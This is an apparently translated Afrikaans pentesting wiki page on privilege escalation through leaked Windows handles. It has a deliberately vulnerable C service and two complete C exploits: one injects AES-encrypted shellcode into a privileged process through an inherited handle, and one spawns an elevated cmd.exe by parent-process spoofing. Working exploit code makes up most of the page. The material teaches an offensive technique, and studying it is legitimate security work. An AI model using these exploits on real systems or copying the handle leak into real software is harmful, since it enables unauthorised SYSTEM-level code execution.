# Uitgelek Handle Exploitatie

<details>

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</details>

## Inleiding

Handvatsels in 'n proses maak dit moontlik om verskillende **Windows-hulpbronne** te **benader**:

![RootedCON2022 - Uitlek van handvatsels vir LPE](<../../.gitbook/assets/image (663) (1).png>)

Daar was al verskeie gevalle van **privilege-escalation** waar 'n **bevoorregte proses met oop en oorerfbare handvatsels** 'n **onbevoorregte proses laat loop** het en dit **toegang tot al daardie handvatsels gegee** het.

Byvoorbeeld, stel jou voor dat **'n proses wat as SYSTEM loop 'n nuwe proses oopmaak** (`OpenProcess()`) met **volle toegang**. Dieselfde proses **skep ook 'n nuwe proses** (`CreateProcess()`) **met lae bevoegdhede, maar erf al die oop handvatsels van die hoofproses**.\
Dan, as jy **volle toegang tot die lae-bevoorregte proses het**, kan jy die **oop handvat na die bevoorregte proses wat geskep is** met `OpenProcess()` gryp en 'n shellcode **inspuit**.

## **Interessante Handvatsels**

### **Proses**

Soos jy in die aanvanklike voorbeeld gelees het, as 'n **onbevoorregte proses 'n proseshandvat erf** van 'n **bevoorregte proses** met genoeg toestemmings, sal dit in staat wees om **arbitrêre kode daarop uit te voer**.

In [**hierdie uitstekende artikel**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) kan jy sien hoe om enige proseshandvat te benut wat enige van die volgende toestemmings het:

* PROCESS\_ALL\_ACCESS
* PROCESS\_CREATE\_PROCESS
* PROCESS\_CREATE\_THREAD
* PROCESS\_DUP\_HANDLE
* PROCESS\_VM\_WRITE

### Draad

Soortgelyk aan die proseshandvatsels, as 'n **onbevoorregte proses 'n draadhandvat erf** van 'n **bevoorregte proses** met genoeg toestemmings, sal dit in staat wees om **arbitrêre kode daarop uit te voer**.

In [**hierdie uitstekende artikel**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) kan jy ook sien hoe om enige draadhandvat te benut wat enige van die volgende toestemmings het:

* THREAD\_ALL\_ACCESS
* THREAD\_DIRECT\_IMPERSONATION
* THREAD\_SET\_CONTEXT

### Lêer-, Sleutel- en Afdelingshandvatsels

As 'n **onbevoorregte proses** 'n **handvat** erf met **skryf-ekwivalente toestemmings** oor 'n **bevoorregte lêer of register**, sal dit in staat wees om die lêer/registersleutel te **oorwrite** (en met baie **geluk**, **bevoorregtheid te verhoog**).

**Afdelingshandvatsels** is soortgelyk aan lêerhandvatsels, die algemene naam vir hierdie soort [voorwerpe is **"Lêerafbeelding"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping). Dit word gebruik om met **groot lêers te werk sonder om die hele** lêer in die geheue te hou. Dit maak die benutting soortgelyk aan die benutting van 'n Lêerhandvat.

## Hoe om handvatsels van prosesse te sien

### Process Hacker

[**Process Hacker**](https://github.com/processhacker/processhacker) is 'n gratis hulpmiddel wat jy kan aflaai. Dit het verskeie fantastiese opsies om prosesse te ondersoek en een daarvan is die **vermoë om die handvatsels van elke proses te sien**.

Let daarop dat jy die SeDebugPrivilege nodig het om **alle handvatsels van alle prosesse te sien** (so jy moet Process Hacker as administrateur uitvoer).

Om die handvatsels van 'n proses te sien, kliek met die regterknoppie op die proses en kies Handvatsels:

![](<../../.gitbook/assets/image (651) (1).png>)

Jy kan dan met die regterknoppie op die handvat kliek en die **toestemmings nagaan**:

![](<../../.gitbook/assets/image (628).png>)

### Sysinternals Handvatsels

Die [**Handvatsels** ](https://docs.microsoft.com/en-us/sysinternals/downloads/handle)binêre van Sysinternals sal ook die handvatsels per proses in die konsole lys:

![](<../../.gitbook/assets/image (654).png>)

### LeakedHandlesFinder

[**Hierdie hulpmiddel**](https://github.com/lab52io/LeakedHandlesFinder) stel jou in staat om **uitgelekte handvatsels te monitor** en selfs **outomaties te benut** om bevoorregtheid te verhoog.

### Metodologie

Nou dat jy weet hoe om handvatsels van prosesse te vind, moet jy nagaan of enige **onbevoorregte proses toegang het tot bevoorregte handvatsels**. In daardie geval kan die gebruiker van die proses in staat wees om die handvat te verkry en dit misbruik om bevoorregtheid te verhoog.

{% hint style="warning" %}
Daar is voorheen genoem dat jy die SeDebugPrivilege nodig het om toegang tot alle handvatsels te verkry. Maar 'n **gebruiker kan steeds toegang tot die handvatsels van sy prosesse verkry**, so dit mag nuttig wees as jy net van daardie gebruiker na bevoorregtheid wil verhoog om die gereedskap met die gebruiker se gewone toestemmings uit te voer**.
```bash
handle64.exe /a | findstr /r /i "process thread file key pid:"
```
{% endhint %}

## Kwesbare Voorbeeld

Byvoorbeeld, die volgende kode behoort aan 'n **Windows-diens** wat kwesbaar sou wees. Die kwesbare kode van hierdie diens binêre lê binne die **`Exploit`**-funksie. Hierdie funksie begin deur **'n nuwe handvatselproses met volle toegang te skep**. Dan word 'n **lae-bevoorregte proses geskep** (deur die lae-bevoorregte token van _explorer.exe_ te kopieer) wat _C:\users\username\desktop\client.exe_ uitvoer. Die **kwesbaarheid lê daarin dat die lae-bevoorregte proses die handvatsel van die hoë-bevoorregte proses wat eerste geskep is, kan gryp en 'n skulpkode kan inspuit en uitvoer** (sien volgende afdeling).
```c
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")

TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;


//Find PID of a proces from its name
int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

return pid;
}


int Exploit(void) {

STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;
HANDLE hUserToken;
HANDLE hUserProc;
HANDLE hProc;

// open a handle to itself (privileged process) - this gets leaked!
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());

// get PID of user low privileged process
if ( pid = FindTarget("explorer.exe") )
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;

// extract low privilege token from a user's process
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
CloseHandle(hUserProc);
return -1;
}

// spawn a child process with low privs and leaked handle
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

CloseHandle(hProc);
CloseHandle(hUserProc);
return 0;
}



void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

SetEvent( stopServiceEvent );
return;

case SERVICE_CONTROL_PAUSE:
break;

case SERVICE_CONTROL_CONTINUE:
break;

case SERVICE_CONTROL_INTERROGATE:
break;

default:
break;
}
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}

void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;

serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );

if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );

// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

Exploit();
WaitForSingleObject( stopServiceEvent, -1 );

// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;

// service is now stopped
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
}


void InstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );

if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

void UninstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );

if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, &serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

int _tmain( int argc, TCHAR* argv[] )
{
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
}
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else  {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};

StartServiceCtrlDispatcher( serviceTable );
}

return 0;
}
```
### Uitbuitingsvoorbeeld 1

{% hint style="info" %}
In 'n werklike scenario sal jy waarskynlik **nie die beheer oor die binêre lêer hê nie** wat deur die kwesbare kode uitgevoer gaan word (_C:\users\username\desktop\client.exe_ in hierdie geval). Waarskynlik sal jy 'n proses kompromitteer en moet kyk of jy toegang tot enige kwesbare handvatsels van enige bevoorregte proses kan verkry.
{% endhint %}

In hierdie voorbeeld kan jy die kode van 'n moontlike uitbuiting vir _C:\users\username\desktop\client.exe_ vind.\
Die mees interessante deel van hierdie kode is geleë in `GetVulnProcHandle`. Hierdie funksie sal **alle handvatsels begin ophaal**, dan sal dit **kyk of enige van hulle aan dieselfde PID behoort** en of die handvat aan 'n **proses** behoort. As al hierdie vereistes voldoen is ('n toeganklike oop proseshandvat word gevind), sal dit probeer om 'n skelkode in te spuit en uit te voer deur die handvat van die proses te misbruik.\
Die inspuiting van die skelkode word binne die **`Inject`**-funksie gedoen en dit sal eenvoudigweg die skelkode in die bevoorregte proses skryf en 'n draad binne dieselfde proses skep om die skelkode uit te voer.
```c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}

if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
return -1;
}

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

return 0;
}


HANDLE GetVulnProcHandle(void) {

ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();

pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

printf("[+] Grabbing handles...");

while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}

printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;

objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;

// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}

// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {

// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}

// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;

pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;

free(objectTypeInfo);
free(objectNameInfo);
}

return hProc;
}

int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
BOOL bStatus = FALSE;

pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");

pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);

bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
if (bStatus != FALSE) {
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
return 0;
}
else
return -1;
}

int main(int argc, char **argv) {

int pid = 0;
HANDLE hProc = NULL;

// AES encrypted shellcode spawning notepad.exe (ExitThread)
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
```c
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
unsigned int payload_len = sizeof(payload);

printf("My PID: %d\n", GetCurrentProcessId());
getchar();

// vind 'n uitgelekde handvatsel na 'n proses
hProc = GetVulnProcHandle();

if ( hProc != NULL) {

// d#Decrypteer payload
AESDecrypt((char *) payload, payload_len, key, sizeof(key));
printf("[+] Stuur geskenk...");
// Injecteer en voer die payload uit in die bevoorregte konteks
Inject(hProc, payload, payload_len);
printf("gedaan.\n");
}
getchar();

return 0;
}
```
### Uitbuitingsvoorbeeld 2

{% hint style="info" %}
In 'n werklike scenario sal jy waarskynlik **nie die beheer oor die binêre lêer hê nie** wat deur die kwesbare kode uitgevoer gaan word (_C:\users\username\desktop\client.exe_ in hierdie geval). Waarskynlik sal jy 'n proses kompromitteer en moet kyk of jy toegang kan verkry tot enige kwesbare handvatsel van enige bevoorregte proses.
{% endhint %}

In hierdie voorbeeld sal die token van die bevoorregte oop handvatsel proses gebruik word om 'n nuwe een te skep, **in plaas daarvan om die oop handvatsel te misbruik om 'n shellkode in te spuit** en uit te voer. Dit word gedoen in lyne 138 tot 148.

Let op hoe die **funksie `UpdateProcThreadAttribute`** gebruik word met die **eienskap `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` en die handvatsel na die oop bevoorregte proses**. Dit beteken dat die **geskepte prosesdraad wat \_cmd.exe uitvoer**\_\*\* dieselfde tokenbevoegdheid as die oop handvatsel proses sal hê\*\*.
```c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


HANDLE GetVulnProcHandle(void) {

ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();

pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

printf("[+] Grabbing handles...");

while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}

printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;

objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;

// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}

// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {

// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}

// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;

pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;

free(objectTypeInfo);
free(objectNameInfo);
}

return hProc;
}


int main(int argc, char **argv) {

HANDLE hProc = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
int pid = 0;
SIZE_T size;
BOOL ret;

Sleep(20000);
// find leaked process handle
hProc = GetVulnProcHandle();

if ( hProc != NULL) {

// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
ZeroMemory(&si, sizeof(STARTUPINFOEXA));

InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );

InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);

si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

// Spawn elevated cmd process
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );

if (ret == FALSE) {
printf("[!] Error spawning new process: [%d]\n", GetLastError());
return -1;
}
}

Sleep(20000);
return 0;
}
```
## Ander gereedskap en voorbeelde

* [**https://github.com/lab52io/LeakedHandlesFinder**](https://github.com/lab52io/LeakedHandlesFinder)

Hierdie gereedskap stel jou in staat om uitgelekde handvatsels te monitor om kwesbare eenhede te vind en selfs outomaties te misbruik. Dit het ook 'n gereedskap om een te laat uitlek.

* [**https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles**](https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles)

'n Ander gereedskap om 'n handvat te laat uitlek en dit te misbruik.

## Verwysings

* [http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
* [https://github.com/lab52io/LeakedHandlesFinder](https://github.com/lab52io/LeakedHandlesFinder)
* [https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html](https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html)

<details>

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</details>